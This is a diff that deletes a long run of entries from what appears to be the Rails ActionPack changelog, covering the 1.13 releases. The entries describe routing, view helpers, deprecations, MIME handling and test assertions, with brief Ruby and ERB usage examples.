-* Cache parsed query parameters.  #6559 [Stefan Kaes]
-
-* Deprecate JavaScriptHelper#update_element_function, which is superseeded by RJS [Thomas Fuchs]
-
-* pluralize helper interprets nil as zero.  #6474 [Tim Pope]
-
-* Fix invalid test fixture exposed by stricter Ruby 1.8.5 multipart parsing.  #6524 [Bob Silva]
-
-* Set ActionView::Base.default_form_builder once rather than passing the :builder option to every form or overriding the form helper methods.  [Jeremy Kemper]
-
-* Deprecate expire_matched_fragments. Use expire_fragment instead.  #6535 [Bob Silva]
-
-* Update to latest Prototype, which doesn't serialize disabled form elements, adds clone() to arrays, empty/non-string Element.update() and adds a fixes excessive error reporting in WebKit beta versions [Thomas Fuchs]
-
-* Deprecate start_form_tag and end_form_tag.  Use form_tag / '</form>' from now on.  [Rick Olson]
-
-* Added block-usage to PrototypeHelper#form_remote_tag, document block-usage of FormTagHelper#form_tag [Rick Olson]
-
-* Add a 0 margin/padding div around the hidden _method input tag that form_tag outputs.  [Rick Olson]
-
-* Added block-usage to TagHelper#content_tag [David Heinemeier Hansson]. Example:
-
-   <% content_tag :div, :class => "strong" %>
-     Hello world!
-   <% end %>
-  
-  Will output:
-    <div class="strong">Hello world!</div>
-
-* Deprecated UrlHelper#link_to_image and UrlHelper#link_to :post => true #6409 [Bob Silva]
-
-* Upgraded NumberHelper with number_to_phone support international formats to comply with ITU E.123 by supporting area codes with less than 3 digits, added precision argument to number_to_human_size (defaults to 1) #6421 [Bob Silva]
-
-* Fixed that setting RAILS_ASSET_ID to "" should not add a trailing slash after assets #6454 [Bob Silva/chrismear]
-
-* Force *_url named routes to show the host in ActionView [Rick Olson]
-
-  <%= url_for ... %> # no host
-  <%= foo_path %>    # no host
-  <%= foo_url %>     # host!
-
-* Add support for converting blocks into function arguments to JavaScriptGenerator#call and JavaScriptProxy#call. [Sam Stephenson]
-
-* Add JavaScriptGenerator#literal for wrapping a string in an object whose #to_json is the string itself. [Sam Stephenson]
-
-* Add <%= escape_once html %> to escape html while leaving any currently escaped entities alone.  Fix button_to double-escaping issue. [Rick Olson]
-
-* Fix double-escaped entities, such as &amp;amp;, &amp;#123;, etc. [Rick Olson]
-
-* Fix deprecation warnings when rendering the template error template. [Nicholas Seckar]
-
-* Fix routing to correctly determine when generation fails. Closes #6300. [psross].
-
-* Fix broken assert_generates when extra keys are being checked. [Jamis Buck]
-
-* Replace KCODE checks with String#chars for truncate.  Closes #6385 [Manfred Stienstra]
-
-* Make page caching respect the format of the resource that is being requested even if the current route is the default route so that, e.g. posts.rss is not transformed by url_for to '/' and subsequently cached as '/index.html' when it should be cached as '/posts.rss'.  [Marcel Molina Jr.]
-
-* Use String#chars in TextHelper::excerpt. Closes #6386 [Manfred Stienstra]
-
-* Install named routes into ActionView::Base instead of proxying them to the view via helper_method. Closes #5932. [Nicholas Seckar]
-
-* Update to latest Prototype and script.aculo.us trunk versions [Thomas Fuchs]
-
-* Fix relative URL root matching problems. [Mark Imbriaco]
-
-* Fix filter skipping in controller subclasses.  #5949, #6297, #6299 [Martin Emde]
-
-* render_text may optionally append to the response body. render_javascript appends by default. This allows you to chain multiple render :update calls by setting @performed_render = false between them (awaiting a better public API).  [Jeremy Kemper]
-
-* Rename test assertion to prevent shadowing. Closes #6306. [psross]
-
-* Fixed that NumberHelper#number_to_delimiter should respect precision of higher than two digits #6231 [Philip Hallstrom]
-
-* Fixed that FormHelper#radio_button didn't respect an :id being passed in #6266 [evansj]
-
-* Added an html_options hash parameter to javascript_tag() and update_page_tag() helpers #6311 [tzaharia]. Example:
-
-    update_page_tag :defer => 'true' { |page| ... }
-
-  Gives:
-
-    <script defer="true" type="text/javascript">...</script>
-    
-  Which is needed for dealing with the IE6 DOM when it's not yet fully loaded.
-
-* Fixed that rescue template path shouldn't be hardcoded, then it's easier to hook in your own #6295 [Mike Naberezny]
-
-* Fixed escaping of backslashes in JavaScriptHelper#escape_javascript #6302 [sven@c3d2.de]
-
-* Fixed that some 500 rescues would cause 500's themselves because the response had not yet been generated #6329 [cmselmer]
-
-* respond_to :html doesn't assume .rhtml.  #6281 [Hampton Catlin]
-
-* Fixed some deprecation warnings in ActionPack [Rick Olson]
-
-* assert_select_rjs decodes escaped unicode chars since the Javascript generators encode them.  #6240 [japgolly]
-
-* Deprecation: @cookies, @headers, @request, @response will be removed after 1.2. Use the corresponding method instead.  [Jeremy Kemper]
-
-* Make the :status parameter expand to the default message for that status code if it is an integer. Also support symbol statuses. [Jamis Buck]. Examples:
-
-    head :status => 404        # expands to "404 Not Found"
-    head :status => :not_found # expands to "404 Not Found"
-    head :status => :created   # expands to "201 Created"
-
-* Add head(options = {}) for responses that have no body. [Jamis Buck]. Examples:
-
-    head :status => 404 # return an empty response with a 404 status
-    head :location => person_path(@person), :status => 201
-
-* Fix bug that kept any before_filter except the first one from being able to halt the before_filter chain.  [Rick Olson]
-
-* strip_links is case-insensitive.  #6285 [tagoh, Bob Silva]
-
-* Clear the cache of possible controllers whenever Routes are reloaded. [Nicholas Seckar]
-
-* Filters overhaul including meantime filter support using around filters + blocks.  #5949 [Martin Emde, Roman Le Negrate, Stefan Kaes, Jeremy Kemper]
-
-* Update RJS render tests. [sam]
-
-* Update CGI process to allow sessions to contain namespaced models. Closes #4638. [dfelstead@site5.com]
-
-* Fix routing to respect user provided requirements and defaults when assigning default routing options (such as :action => 'index'). Closes #5950. [Nicholas Seckar]
-
-* Rescue Errno::ECONNRESET to handle an unexpectedly closed socket connection. Improves SCGI reliability.  #3368, #6226 [sdsykes, fhanshaw@vesaria.com]
-
-* Added that respond_to blocks will automatically set the content type to be the same as is requested [David Heinemeier Hansson]. Examples:
-
-    respond_to do |format|
-      format.html { render :text => "I'm being sent as text/html" }
-      format.rss  { render :text => "I'm being sent as application/rss+xml" }
-      format.atom { render :text => "I'm being sent as application/xml", :content_type => Mime::XML }
-    end
-
-* Added utf-8 as the default charset for all renders. You can change this default using ActionController::Base.default_charset=(encoding) [David Heinemeier Hansson]
-
-* Added proper getters and setters for content type and charset [David Heinemeier Hansson]. Example of what we used to do:
-
-    response.headers["Content-Type"] = "application/atom+xml; charset=utf-8"
-  
-  ...now:
-  
-    response.content_type = Mime::ATOM
-    response.charset      = "utf-8"
-
-* Updated prototype.js to 1.5.0_rc1 with latest fixes. [Rick Olson]
-
-  - XPATH support
-  - Make Form.getElements() return elements in the correct order
-  - fix broken Form.serialize return
-
-* Declare file extensions exempt from layouts.  #6219 [brandon]
-    Example: ActionController::Base.exempt_from_layout 'rpdf'
-
-* Add chained replace/update support for assert_select_rjs [Rick Olson]
-
-    Given RJS like...
-
-      page['test1'].replace "<div id=\"1\">foo</div>"
-      page['test2'].replace_html "<div id=\"2\">foo</div>"
-
-    Test it with...
-
-      assert_select_rjs :chained_replace
-      assert_select_rjs :chained_replace, "test1"
-
-      assert_select_rjs :chained_replace_html
-      assert_select_rjs :chained_replace_html, "test2"
-
-* Load helpers in alphabetical order for consistency. Resolve cyclic javascript_helper dependency.  #6132, #6178 [choonkeat@gmail.com]
-
-* Skip params with empty names, such as the &=Save query string from <input type="submit"/>.  #2569 [Manfred Stienstra, raphinou@yahoo.com]
-
-* Fix assert_tag so that :content => "foo" does not match substrings, but only exact strings. Use :content => /foo/ to match substrings. #2799 [Eric Hodel]
-
-* Add descriptive messages to the exceptions thrown by cgi_methods. #6091, #6103 [Nicholas Seckar, Bob Silva]
-
-* Update JavaScriptGenerator#show/hide/toggle/remove to new Prototype syntax for multiple ids,  #6068 [petermichaux@gmail.com]
-
-* Update UrlWriter to support :only_path. [Nicholas Seckar, Dave Thomas]
-
-* Fixed JavaScriptHelper#link_to_function and JavaScriptHelper#button_to_function to have the script argument be optional [David Heinemeier Hansson]. So what used to require a nil, like this:
-
-    link_to("Hider", nil, :class => "hider_link") { |p| p[:something].hide }
-  
-  ...can be written like this:
-
-    link_to("Hider", :class => "hider_link") { |p| p[:something].hide }
-
-* Update to script.aculo.us 1.6.3 [Thomas Fuchs]
-
-* Update to Prototype 1.5.0_rc1 [sam]
-
-* Added access to nested attributes in RJS #4548 [richcollins@gmail.com]. Examples:
-
-    page['foo']['style']                  # => $('foo').style;
-    page['foo']['style']['color']         # => $('blank_slate').style.color;
-    page['foo']['style']['color'] = 'red' # => $('blank_slate').style.color = 'red';
-    page['foo']['style'].color = 'red'    # => $('blank_slate').style.color = 'red';
-
-* Fixed that AssetTagHelper#image_tag and others using compute_public_path should not modify the incoming source argument (closes #5102) [eule@space.ch]
-
-* Deprecated the auto-appending of .png to AssetTagHelper#image_tag calls that doesn't have an extension [David Heinemeier Hansson] 
-
-* Fixed FormOptionsHelper#select to respect :selected value #5813
-
-* Fixed TextHelper#simple_format to deal with multiple single returns within a single paragraph #5835 [moriq@moriq.com]
-
-* Fixed TextHelper#pluralize to handle 1 as a string #5909 [rails@bencurtis.com]
-
-* Improved resolution of DateHelper#distance_of_time_in_words for better precision #5994 [Bob Silva]
-
-* Changed that uncaught exceptions raised any where in the application will cause RAILS_ROOT/public/500.html to be read and shown instead of just the static "Application error (Rails)" [David Heinemeier Hansson]
-
-* Integration tests: thoroughly test ActionController::Integration::Session.  #6022 [Kevin Clark]
-    (tests skipped unless you `gem install mocha`)
-
-* Added deprecation language for pagination which will become a plugin by Rails 2.0 [David Heinemeier Hansson]
-
-* Added deprecation language for in_place_editor and auto_complete_field that both pieces will become plugins by Rails 2.0 [David Heinemeier Hansson]
-
-* Deprecated all of ActionController::Dependencies. All dependency loading is now handled from Active Support [David Heinemeier Hansson]
-
-* Added assert_select* for CSS selector-based testing (deprecates assert_tag) #5936 [assaf.arkin@gmail.com]
-
-* radio_button_tag generates unique id attributes.  #3353 [Bob Silva, somekool@gmail.com]
-
-* strip_tags passes through blank args such as nil or "".  #2229, #6702 [duncan@whomwah.com, dharana]
-
-* Cleanup assert_tag :children counting.  #2181 [jamie@bravenet.com]
-
-* button_to accepts :method so you can PUT and DELETE with it.  #6005 [Dan Webb]
-
-* Update sanitize text helper to strip plaintext tags, and <img src="javascript:bang">.  [Rick Olson]
-
-* Update routing documentation.  Closes #6017 [Nathan Witmer]
-
-* Add routing tests to assert that RoutingError is raised when conditions aren't met.  Closes #6016 [Nathan Witmer]
-
-* Deprecation: update docs. #5998 [Jakob Skjerning, Kevin Clark]
-
-* Make auto_link parse a greater subset of valid url formats. [Jamis Buck]
-
-* Integration tests: headers beginning with X aren't excluded from the HTTP_ prefix, so X-Requested-With becomes HTTP_X_REQUESTED_WITH as expected. [Mike Clark]
-
-* Tighten rescue clauses.  #5985 [james@grayproductions.net]
-
-* Fix send_data documentation typo.  #5982 [brad@madriska.com]
-
-* Switch to using FormEncodedPairParser for parsing request parameters. [Nicholas Seckar, David Heinemeier Hansson]
-
-* respond_to .html now always renders #{action_name}.rhtml so that registered custom template handlers do not override it in priority. Custom mime types require a block and throw proper error now. [Tobias Lütke]
-
-* Deprecation: test deprecated instance vars in partials. [Jeremy Kemper]
-
-* Add UrlWriter to allow writing urls from Mailers and scripts. [Nicholas Seckar]
-
-* Clean up and run the Active Record integration tests by default.  #5854 [Kevin Clark, Jeremy Kemper]
-
-* Correct example in cookies docs.  #5832 [jessemerriman@warpmail.net]
-
-* Updated to script.aculo.us 1.6.2 [Thomas Fuchs]
-
-* Relax Routing's anchor pattern warning; it was preventing use of [^/] inside restrictions. [Nicholas Seckar]
-
-* Add controller_paths variable to Routing. [Nicholas Seckar]
-
-* Fix assert_redirected_to issue with named routes for module controllers.  [Rick Olson]
-
-* Tweak RoutingError message to show option diffs, not just missing named route significant keys. [Rick Olson]
-
-* Invoke method_missing directly on hidden actions. Closes #3030. [Nicholas Seckar]
-
-* Require Tempfile explicitly for TestUploadedFile due to changes in class auto loading.  [Rick Olson]
-
-* Add RoutingError exception when RouteSet fails to generate a path from a Named Route. [Rick Olson]
-
-* Replace Reloadable with Reloadable::Deprecated. [Nicholas Seckar]
-
-* Deprecation: check whether instance variables have been monkeyed with before assigning them to deprecation proxies. Raises a RuntimeError if so. [Jeremy Kemper]
-
-* Add support for the param_name parameter to the auto_complete_field helper. #5026 [david.a.williams@gmail.com]
-
-* Deprecation! @params, @session, @flash will be removed after 1.2. Use the corresponding instance methods instead. You'll get printed warnings during tests and logged warnings in dev mode when you access either instance variable directly. [Jeremy Kemper]
-
-* Make Routing noisy when an anchor regexp is assigned to a segment. #5674 [François Beausoleil]
-
-* Added months and years to the resolution of DateHelper#distance_of_time_in_words, such that "60 days ago" becomes "2 months ago" #5611 [pjhyett@gmail.com]
-
-* Short documentation to mention use of Mime::Type.register. #5710 [choonkeat@gmail.com]
-
-* Make controller_path available as an instance method.  #5724 [jmckible@gmail.com]
-
-* Update query parser to support adjacent hashes. [Nicholas Seckar]
-
-* Make action caching aware of different formats for the same action so that, e.g.  foo.xml is cached separately from foo.html. Implicitly set content type when reading in cached content with mime revealing extensions so the entire onous isn't on the webserver. [Marcel Molina Jr.]
-
-* Restrict Request Method hacking with ?_method to POST requests.  [Rick Olson]
-
-* Fix bug when passing multiple options to SimplyRestful, like :new => { :preview => :get, :draft => :get }.  [Rick Olson, Josh Susser, Lars Pind]
-
-* Dup the options passed to map.resources so that multiple resources get the same options.  [Rick Olson]
-
-* Fixed the new_#{resource}_url route and added named route tests for Simply Restful.  [Rick Olson]
-
-* Added map.resources from the Simply Restful plugin [David Heinemeier Hansson]. Examples (the API has changed to use plurals!):
-
-    map.resources :messages
-    map.resources :messages, :comments
-    map.resources :messages, :new => { :preview => :post }
-
-* Fixed that integration simulation of XHRs should set Accept header as well [Edward Frederick]
-
-* TestRequest#reset_session should restore a TestSession, not a hash [Michael Koziarski]
-
-* Don't search a load-path of '.' for controller files [Jamis Buck]
-
-* Update integration.rb to require test_process explicitly instead of via Dependencies. [Nicholas Seckar]
-
-* Fixed that you can still access the flash after the flash has been reset in reset_session.  Closes #5584 [lmarlow]
-
-* Allow form_for and fields_for to work with indexed form inputs.  [Jeremy Kemper, Matt Lyon]
-
-  <% form_for 'post[]', @post do |f| -%>
-  <% end -%>
-
-* Remove leak in development mode by replacing define_method with module_eval. [Nicholas Seckar]
-
-* Provide support for decimal columns to form helpers. Closes #5672. [Dave Thomas]
-
-* Update documentation for erb trim syntax. #5651 [matt@mattmargolis.net]
-
-* Pass :id => nil or :class => nil to error_messages_for to supress that html attribute. #3586 [olivier_ansaldi@yahoo.com]
-
-* Reset @html_document between requests so assert_tag works. #4810 [Jarkko Laine, easleydp@gmail.com]
-
-* Update render :partial documentation. #5646 [matt@mattmargolis.net]
-
-* Integration tests behave well with render_component. #4632 [edward.frederick@revolution.com, dev.rubyonrails@maxdunn.com]
-
-* Added exception handling of missing layouts #5373 [chris@ozmm.org]
-
-* Fixed that real files and symlinks should be treated the same when compiling templates #5438 [zachary@panandscan.com]
-
-* Fixed that the flash should be reset when reset_session is called #5584 [Shugo Maeda]
-
-* Added special case for "1 Byte" in NumberHelper#number_to_human_size #5593 [murpyh@rubychan.de]
-
-* Fixed proper form-encoded parameter parsing for requests with "Content-Type: application/x-www-form-urlencoded; charset=utf-8" (note the presence of a charset directive) [David Heinemeier Hansson]
-
-* Add route_name_path method to generate only the path for a named routes. For example, map.person will add person_path. [Nicholas Seckar]
-
-* Avoid naming collision among compiled view methods. [Jeremy Kemper]
-
-* Fix CGI extensions when they expect string but get nil in Windows. Closes #5276 [Mislav Marohnić]
-
-* Determine the correct template_root for deeply nested components.  #2841 [s.brink@web.de]
-
-* Fix that routes with *path segments in the recall can generate URLs. [Rick Olson]
-
-* Fix strip_links so that it doesn't hang on multiline <acronym> tags [Jamis Buck]
-
-* Remove problematic control chars in rescue template. #5316 [Stefan Kaes]
-
-* Make sure passed routing options are not mutated by routing code. #5314 [Blair Zajac]
-
-* Make sure changing the controller from foo/bar to bing/bang does not change relative to foo. [Jamis Buck]
-
-* Escape the path before routing recognition. #3671
-
-* Make sure :id and friends are unescaped properly. #5275 [me@julik.nl]
-
-* Fix documentation for with_routing to reflect new reality. #5281 [rramdas@gmail.com]
-
-* Rewind readable CGI params so others may reread them (such as CGI::Session when passing the session id in a multipart form).  #210 [mklame@atxeu.com, matthew@walker.wattle.id.au]
-
-* Added Mime::TEXT (text/plain) and Mime::ICS (text/calendar) as new default types [David Heinemeier Hansson]
-
-* Added Mime::Type.register(string, symbol, synonyms = []) for adding new custom mime types [David Heinemeier Hansson]. Example: Mime::Type.register("image/gif", :gif)
-
-* Added support for Mime objects in render :content_type option [David Heinemeier Hansson]. Example: render :text => some_atom, :content_type => Mime::ATOM
-
-* Add :status option to send_data and send_file. Defaults to '200 OK'.  #5243 [Manfred Stienstra <m.stienstra@fngtps.com>]
-
-* Routing rewrite. Simpler, faster, easier to understand. The published API for config/routes.rb is unchanged, but nearly everything else is different, so expect breakage in plugins and libs that try to fiddle with routes. [Nicholas Seckar, Jamis Buck]
-
-  map.connect '/foo/:id', :controller => '...', :action => '...'
-  map.connect '/foo/:id.:format', :controller => '...', :action => '...'
-  map.connect '/foo/:id', ..., :conditions => { :method => :get }
-
-* Cope with missing content type and length headers. Parse parameters from multipart and urlencoded request bodies only. [Jeremy Kemper]
-
-* Accept multipart PUT parameters. #5235 [guy.naor@famundo.com]
-
-* Added interrogation of params[:format] to determine Accept type. If :format is specified and matches a declared extension, like "rss" or "xml", that mime type will be put in front of the accept handler. This means you can link to the same action from different extensions and use that fact to determine output [David Heinemeier Hansson]. Example:
-
-  class WeblogController < ActionController::Base
-    def index
-      @posts = Post.find :all
-      
-      respond_to do |format|
-        format.html
-        format.xml { render :xml => @posts.to_xml }
-        format.rss { render :action => "feed.rxml" }
-      end
-    end
-  end
-  
-  # returns HTML when requested by a browser, since the browser
-  # has the HTML mimetype at the top of its priority list
-  Accept: text/html
-  GET /weblog 
-  
-  # returns the XML 
-  Accept: application/xml
-  GET /weblog 
-
-  # returns the HTML 
-  Accept: application/xml
-  GET /weblog.html
-
-  # returns the XML
-  Accept: text/html
-  GET /weblog.xml
-  
-  All this relies on the fact that you have a route that includes .:format.
-  
-* Expanded :method option in FormTagHelper#form_tag, FormHelper#form_for, PrototypeHelper#remote_form_for, PrototypeHelper#remote_form_tag, and PrototypeHelper#link_to_remote to allow for verbs other than GET and POST by automatically creating a hidden form field named _method, which will simulate the other verbs over post [David Heinemeier Hansson]
-
-* Added :method option to UrlHelper#link_to, which allows for using other verbs than GET for the link. This replaces the :post option, which is now deprecated. Example: link_to "Destroy", person_url(:id => person), :method => :delete [David Heinemeier Hansson]
-
-* follow_redirect doesn't complain about being redirected to the same controller. #5153 [dymo@mk.ukrtelecom.ua]
-
-* Add layout attribute to response object with the name of the layout that was rendered, or nil if none rendered. [Kevin Clark]
-
-* Fix NoMethodError when parsing params like &&. [Adam Greenfield]
-
-* Fix flip flopped logic in docs for url_for's :only_path option. Closes #4998. [esad@esse.at]
-
-* form.text_area handles the :size option just like the original text_area (:size => '60x10' becomes cols="60" rows="10").  [Jeremy Kemper]
-
-* Excise ingrown code from FormOptionsHelper#options_for_select. #5008 [anonymous]
-
-* Small fix in routing to allow dynamic routes (broken after [4242]) [Rick Olson]
-
-    map.connect '*path', :controller => 'files', :action => 'show'
-
-* Replace alias method chaining with Module#alias_method_chain. [Marcel Molina Jr.]
-
-* Replace Ruby's deprecated append_features in favor of included. [Marcel Molina Jr.]
-
-* Use #flush between switching from #write to #syswrite. Closes #4907. [Blair Zajac <blair@orcaware.com>]
-
-* Documentation fix: integration test scripts don't require integration_test. Closes #4914. [Frederick Ros <sl33p3r@free.fr>]
-
-* ActionController::Base Summary documentation rewrite. Closes #4900. [Kevin Clark]
-
-* Fix text_helper.rb documentation rendering. Closes #4725. [Frederick Ros]
-
-* Fixes bad rendering of JavaScriptMacrosHelper rdoc (closes #4910) [Frederick Ros]
-
-* Allow error_messages_for to report errors for multiple objects, as well as support for customizing the name of the object in the error summary header. Closes #4186. [andrew@redlinesoftware.com, Marcel Molina Jr.]
-  
-  error_messages_for :account, :user, :subscription, :object_name => :account
-
-* Enhance documentation for setting headers in integration tests. Skip auto HTTP prepending when its already there. Closes #4079. [Rick Olson]
-
-* Documentation for AbstractRequest. Closes #4895. [Kevin Clark] 
-
-* Refactor various InstanceTag instance method to class methods. Closes #4800. [Stefan Kaes]
-
-* Remove all remaining references to @params in the documentation. [Marcel Molina Jr.]
-
-* Add documentation for redirect_to :back's RedirectBackError exception.  [Marcel Molina Jr.]
-
-* Update layout and content_for documentation to use yield rather than magic @content_for instance variables. [Marcel Molina Jr.]
-
-* Fix assert_redirected_to tests according to real-world usage.  Also, don't fail if you add an extra :controller option: [Rick Olson]
-
-    redirect_to :action => 'new'
-    assert_redirected_to :controller => 'monkeys', :action => 'new'
-
-* Cache CgiRequest#request_parameters so that multiple calls don't re-parse multipart data. [Rick Olson]
-
-* Diff compared routing options.  Allow #assert_recognizes to take a second arg as a hash to specify optional request method [Rick Olson]
-
-    assert_recognizes({:controller => 'users', :action => 'index'}, 'users')
-    assert_recognizes({:controller => 'users', :action => 'create'}, {:path => 'users', :method => :post})
-
-* Diff compared options with #assert_redirected_to [Rick Olson]
-
-* Add support in routes for semicolon delimited "subpaths", like /books/:id;:action [Jamis Buck]
-
-* Change link_to_function and button_to_function to (optionally) take an update_page block instead of a JavaScript string. Closes #4804. [zraii@comcast.net, Sam Stephenson]
-
-* Fixed that remote_form_for can leave out the object parameter and default to the instance variable of the object_name, just like form_for [David Heinemeier Hansson]
-
-* Modify routing so that you can say :require => { :method => :post } for a route, and the route will never be selected unless the request method is POST. Only works for route recognition, not for route generation. [Jamis Buck]
-
-* Added :add_headers option to verify which merges a hash of name/value pairs into the response's headers hash if the prerequisites cannot be satisfied. [Sam Stephenson]
-  ex. verify :only => :speak, :method => :post, 
-             :render => { :status => 405, :text => "Must be post" }, 
-             :add_headers => { "Allow" => "POST" }
-
-* Added ActionController.filter_parameter_logging that makes it easy to remove passwords, credit card numbers, and other sensitive information from being logged when a request is handled #1897 [jeremye@bsa.ca.gov]
-
-
-*1.13.3* (March 12th, 2007)
-
-* Apply [5709] to stable.
-
-* session_enabled? works with session :off.  #6680 [Jonathan del Strother]
-
-* Performance: patch cgi/session to require digest/md5 once rather than per #create_new_id.  [Stefan Kaes]
-
-
-*1.13.2* (February 5th, 2007)
-
-* Add much-needed html-scanner tests.  Fixed CDATA parsing bug. [Rick Olson]
-
-* improve error message for Routing for named routes. [Rob Sanheim]
-
-* Added enhanced docs to routing assertions. [Rob Sanheim]
-
-* fix form_for example in ActionController::Resources documentation. [gnarg]
-
-* Add singleton resources from trunk [Rick Olson]
-
-* select :multiple => true suffixes the attribute name with [] unless already suffixed.  #6977 [nik.kakelin, ben, julik]
-
-* Improve routes documentation.  #7095 [zackchandler]
-
-* Resource member routes require :id, eliminating the ambiguous overlap with collection routes.  #7229 [dkubb]
-
-* Fixed NumberHelper#number_with_delimiter to use "." always for splitting the original number, not the delimiter parameter #7389 [ceefour]
-
-* Autolinking recognizes trailing and embedded . , : ;  #7354 [Jarkko Laine]
-
-* Make TextHelper::auto_link recognize URLs with colons in path correctly, fixes #7268.  [imajes]
-
-* Improved auto_link to match more valid urls correctly [Tobias Lütke]
-
-
-*1.13.1* (January 18th, 2007)
-
-* Fixed content-type bug in Prototype [sam]
-
-
-*1.13.0* (January 16th, 2007)
-
-* Modernize cookie testing code, and increase coverage (Heckle++) #7101 [Kevin Clark]
-
-* Heckling ActionController::Resources::Resource revealed that set_prefixes didn't break when :name_prefix was munged. #7081 [Kevin Clark]
-
-* Update to Prototype 1.5.0. [Sam Stephenson]
-
-* Allow exempt_from_layout :rhtml.  #6742, #7026 [Dan Manges, Squeegy]
-
-* Fix parsing of array[] CGI parameters so extra empty values aren't included.  #6252 [Nicholas Seckar, aiwilliams, brentrowland]
-
-* link_to_unless_current works with full URLs as well as paths.  #6891 [Jarkko Laine, Manfred Stienstra, idrifter]
-
-* Fix HTML::Node to output double quotes instead of single quotes.  Closes #6845 [mitreandy]
-
-* Fix no method error with error_messages_on.  Closes #6935 [nik.wakelin Koz]
-
-* Slight doc tweak to the ActionView::Helpers::PrototypeHelper#replace docs.  Closes #6922 [Steven Bristol]
-
-* Slight doc tweak to #prepend_filter.  Closes #6493 [Jeremy Voorhis]
-
-* Add more extensive documentation to the AssetTagHelper.  Closes #6452 [Bob Silva]
-
-* Clean up multiple calls to #stringify_keys in TagHelper, add better documentation and testing for TagHelper.  Closes #6394 [Bob Silva]
-
-* [DOCS] fix reference to ActionController::Macros::AutoComplete for #text_field_with_auto_complete. Closes #2578 [Jan Prill]
-
-* Make sure html_document is reset between integration test requests. [ctm]
-
-* Set session to an empty hash if :new_session => false and no session cookie or param is present. CGI::Session was raising an unrescued ArgumentError.  [Josh Susser]
-
-* Fix assert_redirected_to bug where redirecting from a nested to to a top-level controller incorrectly added the current controller's nesting.  Closes #6128.  [Rick Olson]
-
-* Ensure render :json => ... skips the layout.  #6808 [Josh Peek]
-
-* Silence log_error deprecation warnings from inspecting deprecated instance variables.  [Nate Wiger]
-
-* Only cache GET requests with a 200 OK response.  #6514, #6743 [RSL, anamba]
-
-* Correctly report which filter halted the chain.  #6699 [Martin Emde]
-
-* respond_to recognizes JSON. render :json => @person.to_json automatically sets the content type and takes a :callback option to specify a client-side function to call using the rendered JSON as an argument.  #4185 [Scott Raymond, eventualbuddha]
-    # application/json response with body 'Element.show({:name: "David"})'
-    respond_to do |format|
-      format.json { render :json => { :name => "David" }.to_json, :callback => 'Element.show' }
-    end
-
-* Makes :discard_year work without breaking multi-attribute parsing in AR.  #1260, #3800 [sean@ardismg.com, jmartin@desertflood.com, stephen@touset.org, Bob Silva]
-
-* Adds html id attribute to date helper elements.  #1050, #1382 [mortonda@dgrmm.net, David North, Bob Silva]
-
-* Add :index and @auto_index capability to model driven date/time selects.  #847, #2655 [moriq, Doug Fales, Bob Silva]
-
-* Add :order to datetime_select, select_datetime, and select_date.  #1427 [Timothee Peignier, Patrick Lenz, Bob Silva]
-
-* Added time_select to work with time values in models. Update scaffolding.  #2489, #2833 [Justin Palmer, Andre Caum, Bob Silva]
-
-* Added :include_seconds to select_datetime, datetime_select and time_select.  #2998 [csn, Bob Silva]
-
-* All date/datetime selects can now accept an array of month names with :use_month_names. Allows for localization.  #363 [tomasj, Bob Silva]
-
-* Adds :time_separator to select_time and :date_separator to select_datetime. Preserves BC.  #3811 [Bob Silva]
-
-* @response.redirect_url works with 201 Created responses: just return headers['Location'] rather than checking the response status.  [Jeremy Kemper]
-
-* Fixed that HEAD should return the proper Content-Length header (that is, actually use @body.size, not just 0) [David Heinemeier Hansson]
-
-* Added GET-masquarading for HEAD, so request.method will return :get even for HEADs. This will help anyone relying on case request.method to automatically work with HEAD and map.resources will also allow HEADs to all GET actions. Rails automatically throws away the response content in a reply to HEAD, so you don't even need to worry about that. If you, for whatever reason, still need to distinguish between GET and HEAD in some edge case, you can use Request#head? and even Request.headers["REQUEST_METHOD"] for get the "real" answer. Closes #6694 [David Heinemeier Hansson]
-
-
-*1.13.0 RC1* (r5619, November 22nd, 2006)
-
-* Update Routing to complain when :controller is not specified by a route. Closes #6669. [Nicholas Seckar]
-
-* Ensure render_to_string cleans up after itself when an exception is raised.  #6658 [rsanheim]
-
-* Update to Prototype and script.aculo.us [5579]. [Sam Stephenson, Thomas Fuchs]
-
-* simple_format helper doesn't choke on nil.  #6644 [jerry426]
-
-* Reuse named route helper module between Routing reloads. Use remove_method to delete named route methods after each load. Since the module is never collected, this fixes a significant memory leak. [Nicholas Seckar]
-
-* Deprecate standalone components.  [Jeremy Kemper]
-
-* Always clear model associations from session.  #4795 [sd@notso.net, andylien@gmail.com]
-
-* Remove JavaScriptLiteral in favor of ActiveSupport::JSON::Variable. [Sam Stephenson]
-
-* Sync ActionController::StatusCodes::STATUS_CODES with http://www.iana.org/assignments/http-status-codes.  #6586 [dkubb]
-
-* Multipart form values may have a content type without being treated as uploaded files if they do not provide a filename.  #6401 [Andreas Schwarz, Jeremy Kemper]
-
-* assert_response supports symbolic status codes.  #6569 [Kevin Clark]
-    assert_response :ok
-    assert_response :not_found
-    assert_response :forbidden
-
-* Cache parsed query parameters.  #6559 [Stefan Kaes]
-
-* Deprecate JavaScriptHelper#update_element_function, which is superseeded by RJS [Thomas Fuchs]
-
-* Fix invalid test fixture exposed by stricter Ruby 1.8.5 multipart parsing.  #6524 [Bob Silva]
-
-* Set ActionView::Base.default_form_builder once rather than passing the :builder option to every form or overriding the form helper methods.  [Jeremy Kemper]
-
-* Deprecate expire_matched_fragments. Use expire_fragment instead.  #6535 [Bob Silva]
-
-* Deprecate start_form_tag and end_form_tag.  Use form_tag / '</form>' from now on.  [Rick Olson]
-
-* Added block-usage to PrototypeHelper#form_remote_tag, document block-usage of FormTagHelper#form_tag [Rick Olson]
-
-* Add a 0 margin/padding div around the hidden _method input tag that form_tag outputs.  [Rick Olson]
-
-* Added block-usage to TagHelper#content_tag [David Heinemeier Hansson]. Example:
-
-   <% content_tag :div, :class => "strong" %>
-     Hello world!
-   <% end %>
-  
-  Will output:
-    <div class="strong">Hello world!</div>
-
-* Deprecated UrlHelper#link_to_image and UrlHelper#link_to :post => true #6409 [Bob Silva]
-
-* Upgraded NumberHelper with number_to_phone support international formats to comply with ITU E.123 by supporting area codes with less than 3 digits, added precision argument to number_to_human_size (defaults to 1) #6421 [Bob Silva]
-
-* Fixed that setting RAILS_ASSET_ID to "" should not add a trailing slash after assets #6454 [Bob Silva/chrismear]
-
-* Force *_url named routes to show the host in ActionView [Rick Olson]
-
-  <%= url_for ... %> # no host
-  <%= foo_path %>    # no host
-  <%= foo_url %>     # host!
-
-* Add support for converting blocks into function arguments to JavaScriptGenerator#call and JavaScriptProxy#call. [Sam Stephenson]
-
